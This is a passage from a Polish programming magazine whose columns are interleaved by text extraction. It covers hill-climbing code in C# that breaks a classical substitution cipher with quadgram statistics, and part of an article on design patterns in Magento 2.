znaczy. Z drugiej strony, jeżeli pójdziemy w dłuższe sekwencje, poja- częstotliwością występowania danego quadgramu jest 0.0001, loga-
wi się problem przechowania ich w pamięci – takich kombinacji będą rytm o podstawie 10 z takiej wartości będzie równy -5. Zauważmy, że
przecież ogromne ilości. im mniejsza częstotliwość występowania, tym mniejsza będzie rów-
Optymalną wartością wydają się być ciągi o długości 4 liter. Polski nież wartość dopasowania.
alfabet ma 32 znaki, co daje nam 324=1048576 możliwych quadgra- Pojawia się tu jednak pewien problem: co powinniśmy zrobić
mów, a taką ich liczbę (razem z towarzyszącymi im danymi) możemy w sytuacji, gdy jakiś quadgram nie występuje wcale? Obliczanie loga-
po prostu przechować w całości w pamięci operacyjnej. Co więcej, rytmu z zera nie wydaje się zbyt dobrym pomysłem. Rozwiązanie jest
możemy zastosować pewną sprytną optymalizację, dzięki której nie jednak proste: w takiej sytuacji wystarczy zamiast zera przyjąć pewną
będziemy musieli przechowywać (i później porównywać) fragmen- niezerową, minimalną wartość, która będzie reprezentować często-
tów tekstu. tliwość „prawie zero”, na przykład 0.0000000001 (1e-10). Pamiętaj-
Na początku przyporządkujmy literom kody, na przykład a = 0, my bowiem, że w tym przypadku nie interesują nas wcale konkretne
b = 1, …, z = 23, ą = 24 i tak dalej. Weźmy teraz na warsztat quad- wartości dopasowań: potrzebujemy ich tylko po to, by móc porównać
gram „anie”. Kolejne litery znajdujące się w nim mają kody, odpo- ze sobą dwa rozwiązania.
wiednio, 0, 14, 9 i 5. Kody znaków możemy bezpiecznie zapisać na 5 Przykładowa implementacja algorytmu zbierającego dane doty-
bitach (bo jest ich 32), więc możemy je stosunkowo łatwo „posklejać” czące quadgramów w zadanym tekście (tablicy ciągów znaków) znaj-
w pojedynczą liczbę: 0 << 15 + 14 << 10 + 9 << 5 + 5 = 14629. Czyli duje się w Listingu 8.
quadgramowi „anie” odpowiada – i to jednoznacznie – liczba 14629. Dodam słowem wyjaśnienia, że jest to fragment mojej aplikacji
To jeszcze nie wszystko: znając kod quadgramu, możemy ła- [Link], której źródła są otwarte (link w sekcji „W sieci”), więc
two obliczyć kod innego quadgramu, który stanowi kontynuację w niniejszym artykule zamieszczę tylko kluczowe fragmenty. Za-
tego poprzedniego. Weźmy na warsztat „anie” oraz „niem”. Znając mieszczony poniżej kod znajduje się w pliku [Link]-
kod pierwszego z quadgramów, możemy przesunąć jego kod 14629 gic\Services\SubstitutionCipher\[Link].
w lewo o 5 bitów, zamaskować go wartością 0xfffff (aby „odciąć” Poniższy algorytm stara się za każdym razem dobrać minimal-
pierwszą literę „a”) i na koniec dodać do niego kod litery m, czyli 13. ną liczbę bitów per znak, by zminimalizować bazę języka. W moim
Daje nam to (14629 << 5) & 0xfffff + 13 = 468141. programie zdecydowałem się również zbierać dodatkowo informacje

{  [Link]  } <43>
ALGORYTMIKA

o bigramach i trigramach, które można zastosować w sytuacji, gdy }


}
quadgramy nie zdadzą egzaminu – pozostawia to pole manewru do
return model;
eksperymentowania z algorytmem. }

Listing 8. Budowanie bazy danych języka public LanguageInfoModel BuildLanguageInfoModel(string[] lines,


string alphabet,
private LanguageStatisticsModel GenerateLanguageStatisticsModel( Func<bool> checkCancellation,
string[] lines, Action<int> reportProgress)
Dictionary<char, int> alphabet, {
Func<bool> checkCancellation = null, // Speeds up letter code lookup in the alphabet
Action<int> reportProgress = null)
{
var alphabetDict = new Dictionary<char, int>();
if ([Link] > MaxCharsPerAlphabet)
for (int i = 0; i < [Link]; i++)
throw new ArgumentException($"Maximum of " +
alphabetDict[[Link](alphabet[i])] = i;
$"{MaxCharsPerAlphabet}" +
$" characters per alphabet is supported!"); var langStats = GenerateLanguageStatisticsModel(lines,
alphabetDict, checkCancellation, reportProgress);
int bitsPerChar = 1;
int maxAlphabetEntries = 2; // (...)
while (maxAlphabetEntries < [Link]) var sequenceFreqs =
{ new Dictionary<int, SequenceInfoModel[]>();
bitsPerChar++; foreach (var seq in [Link])
maxAlphabetEntries <<= 1; {
} var sum = [Link]();
// Building model from all possible combinations of if (sum > 0)
// bigrams, trigrams, quadgrams sequenceFreqs[[Link]] = [Link]
var model = new LanguageStatisticsModel(bitsPerChar); .Select(v => new SequenceInfoModel(v,
for (int i = MinChars; i <= MaxChars; i++) [Link](MinimumSequenceFrequency,
[Link][i] = new int[1 << (bitsPerChar * i)]; (double)v / sum),
foreach (var ch in [Link]) FitnessFromFrequency([Link](
[Link][ch] = 0; MinimumSequenceFrequency,
(double)v / sum))))
for (int l = 0; l < [Link]; l++)
.ToArray();
{
else
if (checkCancellation?.Invoke() ?? false)
sequenceFreqs[[Link]] = [Link]
return null;
.Select(v => new SequenceInfoModel(v,
reportProgress?.Invoke(l * 100 / [Link]); MinimumSequenceFrequency,
MinimumSequenceFitness))
string line = lines[l]; .ToArray();
}
var current = new int[MaxChars + 1];
var mask = new int[MaxChars + 1]; return new LanguageInfoModel([Link],
for (int i = 0; i <= MaxChars; i++) alphabetDict, letterFreqs, sequenceFreqs);
{ }
current[i] = 0;
mask[i] = (1 << (bitsPerChar * i)) - 1;
}
Ponieważ zarówno liczba bi-, tri-, jak i quadgramów jest relatywnie
nieduża, zdecydowałem się przechować w pamięci je wszystkie. To
int totalChars = 0;
również przyspiesza ich wyszukiwanie, bo zamiast szukać klucza
foreach (var ch in line)
{ w słowniku (w sensie Dictionary), po prostu sięgam do elementu
var lowerCh = [Link](ch); tablicy, którego indeks jest równy kodowi danego n-gramu.
bool isLetter = [Link](lowerCh,
out int letterCode); Dla każdego n-gramu przechowuję tylko dwie informacje: liczbę
if (isLetter) jego wystąpień oraz gotową, obliczoną wartość dopasowania. Pierwszą
{ z liczb zdecydowałem się zachować po to, by raz zbudowaną bazę moż-
[Link][lowerCh]++;
na było później łatwo rozszerzać o kolejne źródła danych. Z perspekty-
totalChars++;
wy algorytmu łamiącego szyfr jest ona oczywiście całkowicie zbędna.
for (int i = MinChars; i <= MaxChars; i++)
Z uwagi na stosunkowo krótki alfabet (26 znaków) baza dla języka
current[i] = ((current[i] << bitsPerChar)
+ letterCode) & mask[i]; angielskiego zajmuje ok. 12 Mb. Jeżeli w przypadku języka polskiego
for (int i = MinChars; ograniczymy się do „czysto” polskich liter (czyli bez „v”, „q” itp.), przy
i <= [Link](totalChars, MaxChars); 32 literach osiągniemy identyczny wynik. W przeciwnym wypadku
i++)
{ konieczne jest skorzystanie z 6 bitów na znak, co zwiększa rozmiar
// Increment count of i-grams for
bazy do (bagatela) 195 Mb. Zwróćmy dodatkowo uwagę, że rozmiar
// current i-gram codes
[Link][i][current[i]]++; bazy jest zależny tylko od wielkości alfabetu, a nie od ilości próbek,
}
}
których użyjemy do jego wygenerowania.
else
{
// If we encountered a non-letter, word ended,
// so we reset current values and start over.
ŁAMIEMY?
for (int i = MinChars; i <= MaxChars; i++) Mając przygotowaną bazę, możemy teraz przystąpić do próby zła-
current[i] = 0;
totalChars = 0; mania szyfru. Postępujemy analogicznie, jak w przypadku problemu
} komiwojażera: generujemy losowe klucze, mutujemy je, sprawdzamy

<44> {  3 / 2021 < 97 >  }


/ Wybrane algorytmy i struktury danych. Część 8: algorytmy hill-climb  /

dopasowanie i wybieramy najlepszy wynik. Implementację takiego return null;

algorytmu możemy znaleźć w Listingu 9. char cipher1 = key[cipherChars[index1]];


char cipher2 = key[cipherChars[index2]];
Listing 9. Automatyczne łamanie szyfru podstawieniowego // Exchange key entries
key[cipherChars[index1]] = cipher2;
public Dictionary<char, char> TrySolve(string cipher, key[cipherChars[index2]] = cipher1;
Dictionary<char, char> initialKey,
LanguageInfoModel languageInfo, // Evaluate new fitness
Func<bool> checkCancellation = null, var newFitness = EvalFitness(cipher,
Action<int> reportProgress = null) key, languageInfo, charsToCompare);
{
var Random = new Random((int)[Link]); if (newFitness > fitness)
{
int charsToCompare = 4; // Change stays
fitness = newFitness;
// Reversing key to obtain decoding key
var decodingKey = new Dictionary<char, char>(); // Repeat replacing key from the beginning
foreach (var kvp in initialKey) index1 = 0;
{ index2 = 1;
// Sanity check }
if (![Link]([Link])) else
throw new ArgumentException("Initial key contains " + {
"a plaintext letter, which is not in provided " + // Revert change
"language’s alphabet!"); key[cipherChars[index1]] = cipher1;
key[cipherChars[index2]] = cipher2;
decodingKey[[Link]] = [Link];
} // Try next replacement
index2++;
var bestFitness = EvalFitness(cipher, if (index2 >= [Link])
decodingKey, languageInfo, charsToCompare); {
var bestKey = new Dictionary<char, char>(decodingKey); index1++;
index2 = index1 + 1;
var iterationsWithoutProgress = 0;
}
for (int i = 0; i < MaxIterations; i++)
if (index2 >= [Link])
{
break;
reportProgress?.Invoke(i * 100 / MaxIterations);
}
var key = new Dictionary<char, char>(); }
var cipherChars = [Link]();
// Fitness now represents best fitness
var plaintextChars = [Link]();
// from this iteration
for (int j = [Link] - 1; j >= 0; j--) if (fitness > bestFitness)
{ {
// Replace j-th entry with random one [Link](
int rndIndex = [Link](j + 1); $"Fitness improved " +
$"from {bestFitness} to {fitness} for key " +
var tmp = plaintextChars[rndIndex]; $"{[Link]("", [Link])}");
plaintextChars[rndIndex] = plaintextChars[j];
plaintextChars[j] = tmp; bestKey = new Dictionary<char, char>(key);
bestFitness = fitness;
key[cipherChars[j]] = plaintextChars[j];
} iterationsWithoutProgress = 0;
}
int index1 = 0; else
int index2 = 1; {
iterationsWithoutProgress++;
var fitness = EvalFitness(cipher, }
key, languageInfo, charsToCompare);
if (iterationsWithoutProgress >
while (true) MaxIterationsWithoutImprovement)
{ break;
if (checkCancellation?.Invoke() ?? false)

/* REKLAMA */

{  [Link]  } <45>
ALGORYTMIKA

}
WYNIKI
// Revert the key to get the ciphering key again
var result = new Dictionary<char, char>();
foreach (var kvp in bestKey) Po zakończeniu działania algorytm stwierdził, że prawidłowy klucz
result[[Link]] = [Link]; to „wfsdoiabcxhgujklepqrtnmvyz”, co daje wynikową wiadomość jak
// Return the best key found w Listingu 11.
return result;
} Listing 11. Efekt działania algorytmu.

The troufle xith haming an open kind, ow course, is that people


xill insist on coking along and trying to put things in it.
Dodajmy tu kilka słów komentarza. Przede wszystkim moja aplikacja -- Terry Pratchett
pozwala również szyfrować wiadomości, a domyślnym rodzajem klu-
cza jest klucz szyfrujący – stąd na początku metody musi on zostać Szybko zauważymy, że wynik, choć już czytelny, nie jest wcale ide-
odwrócony, by stać się kluczem deszyfrującym. alny. Wynika to przede wszystkim z niedoskonałości zastosowanej
Zastosowanie kodów quadgramów – jak już wcześniej wspo- bazy językowej. W moim przypadku była to faktycznie lista słów an-
mniałem – pozwala również przyspieszyć działanie metody oblicza- gielskich, co sprawiło, że niektóre z quadgramów musiały mieć zani-
jącej dopasowanie, bo deszyfrowanie może odbywać się w locie (Li- żone wartości. Sprawdziłem bowiem manualnie, że dla prawidłowe-
sting 10). go, poprawionego ręcznie klucza otrzymujemy wartość dopasowania
niższą niż w przypadku powyższego ciągu.
Listing 10. Obliczanie dopasowania dla szyfrogramu i zadanego klucza
Drugą kwestią jest długość szyfrogramu. W przypadku szyfrowania
private double EvalFitness(string cipher, podstawieniowego tym łatwiej jest złamać szyfrogram, im jest on dłuż-
Dictionary<char, char> decodingKey,
LanguageInfoModel languageInfo, szy, bo wtedy statystyka wystąpień liter i quadgramów bardziej zbliża
int charsToCompare) się do tej obecnej w zwykłym języku. Przykładowy szyfrogram zawiera
{
// If cipher is too short to begin with, zaledwie 143 znaki, z czego tylko 113 to litery. Na stronie cipherchallen-
// return worst possible value
if ([Link] < charsToCompare)
[Link] (dokładny link w ramce „W sieci”) znajdziemy znacznie dłuższy
return [Link]; szyfrogram, który jest już łamany przez mój program bezbłędnie.
double result = 0.0; Po kilku manualnych poprawkach prawidłowym kluczem okazu-
int current = 0; je się być „wisdomabcxnghjklepqrstuvfyz”, a rozszyfrowana wiado-
int mask = (1 << mość brzmi:
([Link] * charsToCompare)) - 1;

int charsProcessed = 0; Listing 12. Tekst jawny


int currentChar = 0;
while (currentChar < [Link]) The trouble with having an open mind, of course, is that people
{ will insist on coming along and trying to put things in it.
var ch = [Link](cipher[currentChar]); -- Terry Pratchett
if ([Link](ch, out char decoded)
&& [Link](decoded,

{
out int code)) NA KONIEC
current = ((current << [Link])
+ code) & mask; To zaskakujące, jak skuteczny może okazać się algorytm bazujący
charsProcessed++;
w dużej mierze na losowości – tym bardziej że możemy zastosować
if (charsProcessed >= charsToCompare) go do takich problemów, których efektywnie nie da się rozwiązać
{
result += languageInfo bezpośrednio. Z drugiej strony musimy zawsze brać pod uwagę, że
.SequenceFrequencies[charsToCompare][current] osiągane przez niego wyniki nie zawsze są optymalne – a w skrajnych
.Fitness;
} przypadkach może zdarzyć się, że nie uda nam się znaleźć żadnego
}
rozwiązania. Praktyka pokazuje jednak, że często można z powodze-
currentChar++; niem zastosować go tam, gdzie inne algorytmy nie dają sobie rady.
}

if (charsProcessed < charsToCompare)


return [Link];
W sieci
return result;
} Lista polskich słów: [Link]
Lista angielskich słów: [Link]
Kod źródłowy [Link]: [Link]
Przykład dłuższego szyfrogramu: [Link]

WOJCIECH SURA
wojciechsura@[Link]
Programuje od 25 lat, z czego 10 komercyjnie; ma na koncie aplikacje desktopowe, webowe, mobilne i wbudowane - pisane w C#,
C++, Javie, Delphi, PHP, Javascript i w jeszcze kilku innych językach. Obecnie pracuje w firmie WSCAD, rozwijającej oprogramo-
wanie nowej generacji CAD dla elektrotechników.

<46> {  3 / 2021 < 97 >  }


UBEZPIECZENIA DLA BRANŻY IT
JUŻ PONAD 150
ZADOWOLONYCH KLIENTÓW

OFERUJEMY KOMPLEKSOWE UBEZPIECZENIA DLA BRANŻY IT

SPRAWDŹ NASZE ROZWIĄZANIA


58 351 37 70 ul. Wrocławska 98/4

biuro@[Link] 81-530 Gdynia


[Link]
INŻYNIERIA OPROGRAMOWANIA

Przegląd wzorców projektowych w Magento 2


Zastosowanie wzorców projektowych we frameworku sklepowym Magento 2 jest niekiedy tak
proste, że niektórzy developerzy nawet nie wiedzą, że je stosują. O tym, dlaczego to jest takie
łatwe, co wspólnego ze wzorcami ma autogenerowanie kodu źródłowego i dlaczego nie warto
wymyślać koła na nowo, przeczytasz w tym artykule.

WSTĘP Silnik Magento 2 w pewnych okolicznościach automatycznie


generuje część kodu źródłowego. Nie jest to jakiś rarytas, bo wiele
Ktoś doszedł kiedyś do wniosku, że stosując sprawdzone metody frameworków tak robi. Tworzone są pliki z klasami po to, abyśmy
postępowania, oszczędza się czas, nerwy i (nierzadko) pieniądze. nie musieli robić tego sami. Nic nowego. Jednak Magneto 2 robi to
Wypracowane metody działania, procedury i tryby postępowa- ze szczególną elegancją, ponieważ wraz z generowaniem klas imple-
nia są wymyślone po to, żeby żyło się łatwiej i bezpieczniej. Swo- mentuje niekiedy wzorce projektowe. W ten sposób powstają między
je procedury mają strażacy, pielęgniarki, ale także piekarze oraz… innymi Proxies i Factories.
programiści. Magento 2 wie, jakie klasy utworzyć, ponieważ posługuje się kon-
W programowaniu bowiem też istnieją metody i procedury dzia- figuracją, którą definiujemy w specjalnym pliku XML (plik nazywa
łania – nazywamy je wzorcami projektowymi. „Po co wymyślać koło się [Link]). O konfiguracji XML będzie jeszcze mowa w dalszej części
na nowo?” – odpowie co bardziej doświadczony programista, gdy za- artykułu.
pytasz, po co w ogóle stosuje się wzorce projektowe w programowa- Podsumowując: w trakcie boostrapowania Magento „czyta” kon-
niu. I będzie miał rację, ponieważ wzorce podają na tacy rozwiązanie figurację zapisaną w pliku konfiguracyjnym XML i na jego podsta-
większości problemów projektowych. wie Object Manager inicjuje obiekty określonych klas, a także – jak
Zaczynajmy! wspomnieliśmy – mimowolnie przyczynia się do realizowania szere-
gu wzorców projektowych. Wystarczy, że na razie tyle będziemy wie-

CO TO JEST WZORZEC PROJEKTOWY? dzieć o automatycznym generowaniu kodu źródłowego w Magento 2.


Dla dociekliwych: Object Manager to klasa odpowiedzialna za
Na wstępie tego artykułu wyjaśniono ogólne pojęcie, czym jest wzo- inicjowanie i dystrybucję obiektów. Powstaje on w trakcie boostra-
rzec projektowy. Uzupełniając nieco naszą definicję, można przyjąć, powania Magento.
iż jest on pewnym rozwiązaniem, strukturą klas, schematem działa-
nia, który rozwiązuje konkretny problem projektowy. Można także
WZORCE PROJEKTOWE W MAGENTO 2
myśleć o nim jako swoistej instrukcji obsługi na konkretne imple-
mentacyjne bolączki. Twórcy Magento 2 chcieli stworzyć framework sklepowy, który bę-
Jako programiści doskonale wiemy, że „problemy projektowe” dzie stabilny, bezpieczny, a przede wszystkim łatwo poddający się
to nasz chleb powszedni, więc powinniśmy być szczególnie zainte- wszelkim modyfikacjom. Musieli oni połączyć dwa ważne aspekty:
resowani zastosowaniem wzorców projektowych w codziennej pra- framework musi być niezwykle wydajny i stabilny, bo tego oczekują
cy. „Problemów projektowych” jest bez liku, a przykłady niektórych klienci kupujący licencję wersji „Commerce”. Musi być jednocześnie
z nich to: W jaki sposób zbudować rozwiązanie, które zmieni działa- prosty, bezpieczny i łatwy do modyfikacji i utrzymania, ponieważ ta-
nie wybranej klasy, ale nie nadpisze jej? W jaki sposób tworzyć nowe kiego chcą go programiści. Jeżeli framework (jakikolwiek) nie zyska
obiekty, aby system był ciągle skalowalny? I mój ulubiony: W jaki aprobaty środowiska IT, to czeka go rychłe zapomnienie.
sposób zachować globalnie dostęp do wybranych danych, nie two- Aby pogodzić oczekiwania obu stron, zastosowano wzorce pro-
rząc zmiennych globalnych? jektowe. Magento 2 jest nimi nafaszerowany. Niemożliwe jest napi-
W tym artykule nie skupiam się na definiowaniu poszczególnych sanie kawałka kodu, nie ocierając się – świadomie lub nie – o jakiś
wzorców projektowych, lecz opisywaniu, w jaki sposób implemento- wzorzec. Twórcy Magento 2 poszli jednak dalej. Dzięki zastosowaniu
wane są one w Magento 2. konfiguracji klas opartej na pliku XML oraz mrówczej pracy Object
Managera implementacja takich wzorców jak Interceptor lub Factory

AUTOGENERACJA KODU ŹRÓDŁOWEGO jest niezwykle prosta – zatem sztandarowy postulat programistów, że
ma być prosto, został spełniony.
W MAGENTO 2 Magneto 2 wykorzystuje wiele wzorców. Ktoś nawet kiedyś po-
Zostawmy na chwilę wzorce projektowe, ponieważ zanim przejdzie- liczył je wszystkie i wyszło 21. Nie wiem, czy to jakaś magentowa
my do nich w kontekście Magento 2, chciałbym krótko opisać zagad- legenda, ale dociekliwi mogą ją zweryfikować. Wśród ciekawszych
nienie automatycznego generowania kodu źródłowego. Warto znać można znaleźć: Front Controller, Singleton, Registry, Prototype, Ob-
ten mechanizm, ponieważ jest on ściśle powiązany z implementacją ject Pool, Iterator, Service Locator itp. W tym artykule chciałbym
wzorców. Bez niego użycie jakiegokolwiek wzorca w Magento 2 było- się jednak skupić na tych, których implementacja w Magento 2 jest
by trudne i mozolne. szczególnie ciekawa.

<48> {  3 / 2021 < 97 >  }


/ Przegląd wzorców projektowych w Magento 2 /

DEPENDENCY INJECTION Jak wspomniałem, w Magento 2 używanie tego wzorca jest szcze-
gólnie przyjemne, bo nie musimy pamiętać o inicjowaniu klas przed
Dependency Injection (wstrzykiwanie zależności) to wzorzec wstrzyknięciem. Całą robotę wykonuje za nas Object Manager. Do
projektowy, który zakłada zwolnienie klasy z utworzenia zależno- tej pory pisałem o procesie wstrzykiwania „zwykłych” klas, ale czy
ści, których potrzebuje. Zamiast tego oczekuje, że takie zależności nie byłoby fajnie móc w ten sposób tworzyć fabryk (Factory) albo
(obiekty) zostaną jej dostarczone (zazwyczaj przez konstruktor). klasy proxy? Skoro i tak Object Manager inicjuje dla nas obiekt, to
„Wypchnięcie” odpowiedzialności utworzenia tych obiektów niejako co za różnica, czy to będzie zwykła klasa, fabryka czy proxy? Dobra
na zewnątrz sprawia, że rozluźniają się powiązania między elementa- wiadomość jest taka, że jest mu to zupełnie bez różnicy, dlatego takie
mi systemu. klasy też tworzy. Ale o tym za chwilę…
Dependency Injection to prawdopodobnie najczęściej wyko- Istnieje w Magento 2 pewien typ klas „niewstrzykiwalnych” (na
rzystywany wzorzec projektowy w Magento 2, dlatego warto mu się przykład klasa Product Entity), ale i na nie jest sposób.
przyjrzeć bliżej. Sposób implementacji tego wzorca jest niezwykle
prosty: w sygnaturze konstruktora lub funkcji należy przekazać peł-
FACTORIES
ne ścieżki do klas (FQCN), których obiekty chcemy wstrzyknąć. To
wszystko. Nie musimy inicjować obiektów, żeby je przekazać do kon- Factory (Factory Method) to wytwórczy wzorzec projektowy. Jak
struktora. Tę robotę wykona za nas wspomniany już Object Manager, można się domyślić, coś wytwarza. Jego zadaniem jest tworzenie
który będzie odpowiedzialny za utworzenie obiektów i przekazanie obiektów. Interesującym jest pytanie, dlaczego klasy same nie mogą
ich naszej klasie. inicjować swoich obiektów? Mogą, ale to wbrew pryncypiom SO-
LID – a w szczególności Single Responsibility Principle, który mówi
Listing 1. Mechanizm wstrzykiwania zależności poprzez konstruktor
(w dużym skrócie): niech każdy zajmie się swoją robotą: niech Entity
use Magento\Backend\Model\Menu\Item\Factory; Class przechowuje dane, a Factory zajmie się tworzeniem obiektów.
class Builder Zatem podsumowując: Factory to klasa wyspecjalizowana w tworze-
{
private Factory $itemFactory; niu obiektów.
public function __construct(
Wcześniej wspominałem o tym, że w Magento 2 niektórych klas
Factory $menuItemFactory nie da się wstrzyknąć poprzez Dependency Injection? To znaczy da
)
{ się, ale nie ma to większego sensu. Wyobraźmy sobie wstrzyknięcie
$this->itemFactory = $menuItemFactory; klasy Product. No dobrze, ale jaki produkt? Jak się nazywa? Jakie ma
}
} ID? Poprzez Dependency Injection nie da się przekazać parametrów,
więc nie możemy przekazać – na przykład – ID produktu, którego
Wiemy już, że ten wzorzec jest niezastąpiony w procesie rozluźnia- potrzebujemy. Nie otrzymamy więc obiektu konkretnego produktu,
nia powiązań między klasami. Jeżeli zależy nam na daleko posunię- tylko zupełnie nieprzydatną klasę Product z samymi nullami.
tej modułowości kodu, to ten wzorzec jest dla nas. Jeżeli dodatkowo Rozwiązaniem tego problemu jest wstrzyknięcie fabryki produk-
połączymy go z powszechnym stosowaniem abstrakcji (interfejsy) tów, a następnie wykorzystanie jej do pobrania konkretnego produktu.
zamiast konkretnych implementacji (Dependency Inversion Princi-
Listing 3. Wstrzyknięcie i wykorzystanie Factory
ple), to uzyskamy modułowy kod, który będzie łatwy do rozbudowy,
utrzymania i testowania. Nasz Tech Lead będzie zachwycony. use Magento\Catalog\Model\ProductFactory;
use Magento\Catalog\Model\Product;
class ProductParser
Listing 2. Zastosowanie Dependency Injection
{
private ProductFactory $productFactory;
use Magento\Catalog\Block\Product\Context; public function __construct(
use Magento\Framework\Url\EncoderInterface; ProductFactory $productFactory
use Magento\Customer\Model\Visitor; )
use Magento\Framework\App\Http\Context as HttpContext; {
use Magento\Customer\Helper\Session\CurrentCustomer; $this->productFactory = $productFactory;
public function __construct( }
Context context, public function getProduct(int $id): Product
EncoderInterface $urlEncoder, {
.... return $this->productFactory
Visitor $customerVisitor, ->create()
HttpContext $httpContext, ->load($id);
CurrentCustomer $currentCustomer }
.... }
){
$this->urlEncoder = $urlEncoder;
$this->_itemCollectionFactory
= $itemCollectionFactory; W powyższym przykładzie mamy w sygnaturze konstruktora – opi-
$this->_catalogProductVisibility sywany już – Dependency Injection. Na pierwszy rzut oka wszystko
= $catalogProductVisibility;
$this->_customerVisitor = $customerVisitor; wygląda OK, ale spróbujmy w kodzie źródłowym Magento 2 znaleźć
$this->httpContext = $httpContext; wstrzykiwaną klasę Magento\Catalog\Model\ProductFactory. Od
$this->currentCustomer = $currentCustomer;
parent::__construct(context, $data); razu uprzedzam: nie znajdziemy. Zatem w jaki sposób Object Mana-
}
ger ją wstrzykuje, skoro nie istnieje? Wróćmy do zagadnienia auto-
matycznego generowania kodu…

{  [Link]  } <49>
INŻYNIERIA OPROGRAMOWANIA

W trosce o jakość kodu i skuteczne zniechęcenie developerów do Listing 7. Przykładowe użycie metody create w kodzie
generowania obiektów przy pomocy komendy new (co stoi w skrajnej
$category = $this->categoryFactory->create(
sprzeczności z tym, o czym pisałem wcześniej na temat Dependency [
'data' => [
Injection) twórcy Magento 2 stworzyli mechanizm do inicjacji obiek- 'parent_id' => $rootCategoryId,
tów – w tym fabryk właśnie – poprzez Dependency Injection. 'name' => $categoryName,
'position' => 1,
Mimo że brzmi to dość skomplikowanie, recepta na stworzenie 'is_active' => true,
fabryki na przykład dla klasy Magento\Catalog\Model\Category 'available_sort_by' => ['position', 'name'],
'url_key' => $categoryName . '-' . $websiteId
jest w rzeczywistości bardzo prosta: należy w sygnaturze konstrukto- ]
ra podać pełną nazwę klasy, uzupełniając ją o sufix „Factory”. Zatem ]
);
dla klasy Category pełna nazwa klasy to: Magento\Catalog\Model\
$category = $this->categoryRepository
CategoryFactory. ->save($category);

Listing 4. Wstrzyknięcie Factory

use Magento\Backend\Block\Template\Context;
OBSERVERS (PUBLISH – SUBSCRIBE)
use Magento\Catalog\Model\ResourceModel\Category\Tree;
use Magento\Framework\Registry; Kiedy system się rozrasta, pojawiają się coraz to nowsze wymagania
use Magento\Catalog\Model\CategoryFactory; odnośnie do przepływu danych w tej strukturze. Duże, monolityczne
public function __construct(
Context $context, systemy nie radzą sobie za dobrze z wymianą informacji. Mogą być
Tree $categoryTree,
Registry $registry,
nieefektywne i trudno skalowalne. Na szczęście wymyślono prosty w
CategoryFactory $categoryFactory, swej istocie mechanizm dystrybucji danych w takim systemie: wzo-
array $data = []
) { rzec projektowy Observers (publish – subscribe).
$this->_categoryTree = $categoryTree; Mechanizm działania tego wzorca jest prosty: istnieje Publisher,
$this->_coreRegistry = $registry;
$this->_categoryFactory = $categoryFactory; który w następstwie jakiegoś zdarzenia (eventu) wysyła informację
$this->_withProductCount = true; o nim. Z drugiej strony istnieją Observers (lub Subscribers), którzy
parent::__construct($context, $data);
} „nasłuchują”, czy pojawiły się jakieś nowe zdarzenia. Celowo nie uży-
łem sformułowania „nasłuchują, co opublikuje Publisher”, ponieważ
Dla każdej tak dodanej do sygnatury konstruktora klasy z sufiksem żadna ze stron nie wie nic o sobie. Publishers nie wiedzą, które Obse-
“Factory” zostanie automatycznie wygenerowana odpowiednia klasa. rvery subskrybują informacje, Observery nie wiedzą, kto publikuje.
W naszym przykładzie będzie to CategoryFactory: Za dystrybucję informacji odpowiedzialny jest inny, niezależny pro-
ces. Przy takiej strukturze możliwości skalowania systemu właściwie
Listing 5. Wygenerowana klasa CategoryFactory
są nieograniczone.
namespace Magento\Catalog\Model; W Magento 2 wzorzec Observers znajduje zastosowanie na przy-
use Magento\Framework\ObjectManagerInterface;
class CategoryFactory kład w obsłudze typowych dla sklepu internetowego procesów bizne-
{ sowych: złożenie zamówienia, subskrypcja do newslettera, rejestracja
protected $_objectManager = null;
protected $_instanceName = null; konta itp. Istnieje pokaźna liczba wbudowanych już zdarzeń w Magen-
public function __construct(
ObjectManagerInterface $objectManager,
to 2, do których podpięcie sprowadza się do konfiguracji w pliku XML.
$instanceName = '\\Magento\\Catalog\\Model\\Category'
){ Listing 8. Wywołanie zdarzenia po zapisaniu produktu
$this->_objectManager = $objectManager;
$this->_instanceName = $instanceName; $this->_eventManager->dispatch(
} 'controller_action_catalog_product_save_entity_after',
public function create(array $data = []) ['controller' => $this, 'product' => $product]
{ );
return $this->_objectManager
->create($this->_instanceName, $data);
} Magento 2 wysyła do Event Managera informacje o zdarzeniu oraz
}
dane, które mogą się przydać do obsługi danego zdarzenia. W tym
przypadku mamy do dyspozycji obiekt Controller oraz sam pro-
To wszystko! Jedno słowo dodane do pełnej nazwy klasy robi za dukt. Mając te informacje, możemy w Subscriberze na przykład wy-
nas robotę. Utworzona w fabryce metoda create za pomocą wspo- słać powiadomienie mailowe o nowym produkcie.
mnianego już Object Managera wygeneruje obiekt klasy Magento\ Konfiguracja Observera dla wybranego zdarzenia jest prosta i spro-
Catalog\Model\Category. wadza się do odpowiedniej konfiguracji w pliku XML:

Listing 6. Ciało metody create w utworzonej Factory Listing 9. Konfiguracja Observera w pliku konfiguracyjnym XML

public function create(array $data = []) <config>


{ <event name="sales_order_save_after">
return $this->_objectManager <observer name="gdpr_sales_order_save_after"
->create($this->_instanceName, $data); instance="Vendor\Module\Observer\GdprObserver"/>
} </event>
</config>

<50> {  3 / 2021 < 97 >  }


/ Przegląd wzorców projektowych w Magento 2 /

Następnie tworzymy klasę implementującą Magento\Framework\ cji wkracza klasa Proxy, która udostępnia obiekt dopiero wtedy, gdy
Event\ObserverInterface, która obsługuje dane zdarzenie. jego zasoby naprawdę są potrzebne. Nie wykonujemy w ten sposób
Jeżeli potrzebujemy stworzyć własne zdarzenie, to do przesłania niepotrzebnej, zasobożernej inicjalizacji obiektu.
danych do Observerów wykorzystujemy metodę Magento\Frame- Wykorzystanie tego wzorca projektowego w Magento jest równie
work\Event\Manager:dispatch, do której przekazujemy nazwę proste, jak tworzenie Factory, o których pisałem wcześniej. Nie mu-
zdarzenia oraz powiązane z nim dane. Całą resztę wykona za nas Ma- simy pisać nawet jednej linijki kodu, żeby stworzyć klasę Proxy. Ma-
gento 2. gento automatycznie wygeneruje nam odpowiednią klasę, bazując na
wspomnianej już konfiguracji w pliku xml:

INTERCEPTORS Listing 11. Konfiguracja klasy Proxy

Wzorzec projektowy Interceptor (w Magento 2 nazywany także „plu- <config>


<type name="Magento\Widget\Model\Template\Filter">
ginem”) zakłada przechwytywanie wywołań metody określonej klasy <arguments>
w celu modyfikacji jej działania bez nadpisywania samej klasy. Owa <argument name="backendUrlBuilder" xsi:type="object">
Magento\Backend\Model\UrlInterface\Proxy
modyfikacja może przebiegać na trzech płaszczyznach: a) zmiana </argument>
</arguments>
parametrów wejściowych metody, b) modyfikacja rezultatu działania </type>
wybranej metody oraz c) całkowita zmiana logiki biznesowej metody. </config>
